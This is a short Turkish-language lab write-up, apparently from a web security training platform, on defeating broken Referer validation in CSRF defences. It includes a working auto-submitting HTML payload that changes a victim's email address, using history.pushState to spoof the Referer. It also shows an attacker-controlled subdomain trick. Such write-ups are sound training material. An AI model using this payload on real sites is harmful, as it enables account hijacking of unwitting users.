Bu bölümde Referer yönlendirilmesinin “bozuk” yapıda olduğunu keşfedeceğiz.
Uygulama, Yönlendiren’deki etki alanının beklenen değerle başladığını doğrularsa, saldırgan bunu kendi etki alanının bir alt etki alanı olarak yerleştirebilir:
http://vulnerable-website.com.attacker-website.com/csrf-attack
Store edilecek kod bloğu;
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form class="login-form" action="https://ac4f1fa51f7331a680ad2eb6007a00d0.web-security-academy.net/email/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="offsec@msn.com">
<button class='button' type='submit'> Update email </button>
</form>
<script>
history.pushState("", "", "/?https://ac4f1fa51f7331a680ad2eb6007a00d0.web-security-academy.net/email")
document.forms[0].submit();
</script>
</body>
</html>
//history push state : orijinal url'nizi değiştirin.
Tek fark olarak Javascript history.pushstate metodunu ekledik,nedir pushstate?
Url(link) yapımızı dinamik olarak değiştirmemize olanak sağlar. Ek olarak, AJAX ile birleşince hem dinamik olarak içeriğin değişmesi ve hemde url’nin değişmesi meydana gelir.